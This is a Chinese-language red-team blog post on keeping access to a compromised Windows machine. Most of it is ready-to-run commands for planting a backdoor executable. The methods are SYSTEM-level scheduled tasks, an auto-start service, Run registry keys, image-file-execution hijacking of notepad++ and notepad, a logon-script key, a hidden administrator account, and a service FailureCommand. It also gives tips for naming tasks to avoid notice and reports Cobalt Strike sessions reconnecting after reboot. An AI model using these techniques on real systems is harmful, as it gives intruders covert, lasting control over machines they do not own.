红队|windows权限维持

举报
亿人安全 发表于 2023/05/31 22:27:33 2023/05/31
【摘要】 windows权限维持在获取到服务器权限后 通常会选择一些方式来进行我们的权限维持 以防止服务器重启之后或者其他情况下shell掉线计划任务利用计划任务进行权限维持schtasksschtasks /? 参数详解schtasks /create /? 创建计划任务参数详解/sc 计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGO...

windows权限维持

在获取到服务器权限后 通常会选择一些方式来进行我们的权限维持 以防止服务器重启之后或者其他情况下shell掉线

计划任务

利用计划任务进行权限维持

schtasks

  • schtasks /? 参数详解

  • schtasks /create /? 创建计划任务参数详解

/sc 计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT /tn 计划任务名称,后续查询、修改、删除、执行时使用 /tr 需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。 /ru 运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务 /rp 运行任务的用户账户密码 /mo 指定任务在计划类型中的运行间隔 /d 指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。 /m 指定任务在某个月运行,只适用于MONTHLY类型。 /i 当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。 st 当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。 /ri 指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE /et 指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。 /du 指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。 /k 在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。 /it 只在用户登录时运行 /z 在任务计划完成后删除任务计划 /f 在创建任务时如果任务已存在不显示警告 /RL 为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。 /F 如果指定的任务已经存在,则强制创建任务并抑制警告。

1.创建一个test的计划任务 触发程序为ttt.exe 每分钟运行一次 高级别运行 权限为system

schtasks /create /tn "test" /tr C:\Users\ttt\Desktop\ttt.exe /rl highest /F /sc minute /mo 1 /RU system



可以看到已经上线了


这里面也可以看到 可以将任务名字改得正常一点 提高隐藏性

现在将电脑关机 已经将cs里面会话的删掉



不管用什么用户登录都直接上线

但是测试的时候 发现最后要设置为system才执行上线 其他权限的不行

schtasks /create /tn "test" /tr C:\Users\ttt\Desktop\ttt.exe /rl highest /F /sc minute /mo 1 /RU system

账号登录时上线

schtasks /create /tn test /tr C:\Users\ttt\Desktop\ttt.exe /sc onlogon   如添加计划任务时使用的账号,登录成功后即上线

删除计划任务

schtasks /delete /tn test /f 

但运行中的不会中断

结束计划任务

schtasks /end /tn test

运行计划任务

立即运行 但不会影响计划任务

schtasks /run /tn test

注册自启动服务

我们可以把后门注册为自启服务 电脑启动后会自动执行自启服务

创建名为test的服务(注意等号后面有空格),设置自启动,启动权限为system

sc create test binpath= C:\Users\ttt\Desktop\ttt.exe start= auto obj= Localsystem
#启动服务
net start test
#查询服务
sc query test
#删除服务
sc delete tes



但是需要尽快进行迁移以免shell掉线

自启动注册表植入后门

在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序,我们想要利用这个就需要修改注册表在键值存放我们的程序

常见的注册表键值

#Run键
HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

添加键test,值为后门程序路径

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"


然后重启机器



HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run

REG ADD "HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

映像劫持

“映像劫持”,也被称为 “IFEO”(Image File Execution Options)。通过修改“Debugger“项值,替换执行程序,加以利用。

劫持对应的程序后,打开该程序运行的是别的程序,比如运行A.exe打开的则是B.exe

注册表路径为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

在注册表路径下创建一个项,项名为要劫持的exe名称,可以为任意一个可以运行的exe程序,包括安装后和未安装的exe。并在该项创建一个Debugger的键值(名字只能为Debugger),键值填运行的恶意exe

对notepad++程序进行劫持

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad++.exe" /v Debugger /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"


然后点击nodepade++.exe


打不开


上线了

映像劫持新玩法

新的利用方法,实现的效果是:程序A静默退出结束后,会执行程序B。

劫持notepad.exe

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"  /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"  /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"
​

详细可参考https://www.anquanke.com/post/id/151425

logon scripts 后门

Windows 登录脚本,当用户登录时触发

注册表位置:HKEY_CURRENT_USER\Environment

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

创建隐藏账号

net user test1$ 123456 /add
net localgroup administrators test1$ /add



net user看不见 但管理员里面可以看见 以及管理用户面板

失败命令

Windows提供了一种功能,以便在服务无法启动或其通信过程终止时执行某些操作。具体来说,当服务被终止时,可以执行命令。控制此操作的注册表项是“ FailureCommand ”,其值将定义要执行的操作。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v FailureCommand /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"

这样注册之后 我们将 win32time服务停止后 会执行ttt.exe

详细可参考https://hackergu.com/power-service/

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。